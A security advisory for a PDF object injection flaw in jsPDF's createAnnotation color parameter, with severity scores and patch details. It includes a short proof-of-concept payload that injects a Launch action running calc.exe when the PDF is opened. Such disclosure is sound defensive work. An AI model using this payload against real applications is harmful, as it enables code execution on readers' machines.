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PDF Object Injection via free text annotation color

High
HackbrettXXX published GHSA-7x6v-j9x4-qf24 Mar 17, 2026

Package

npm jspdf (npm)

Affected versions

<=4.2.0

Patched versions

>=4.2.1

Description

Impact

User control of arguments of the createAnnotation method allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..

  • createAnnotation: color parameter

Example attack vector:

import { jsPDF } from 'jspdf'

const doc = new jsPDF();

const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';

doc.createAnnotation({
  type: 'freetext',
  bounds: { x: 10, y: 10, w: 120, h: 20 },
  contents: 'hello',
  color: payload
});

doc.save('test.pdf');

Patches

The vulnerability has been fixed in jsPDF@4.2.1.

Workarounds

Sanitize user input before passing it to the vulnerable API members.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-31898

Weaknesses

Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. Learn more on MITRE.

Credits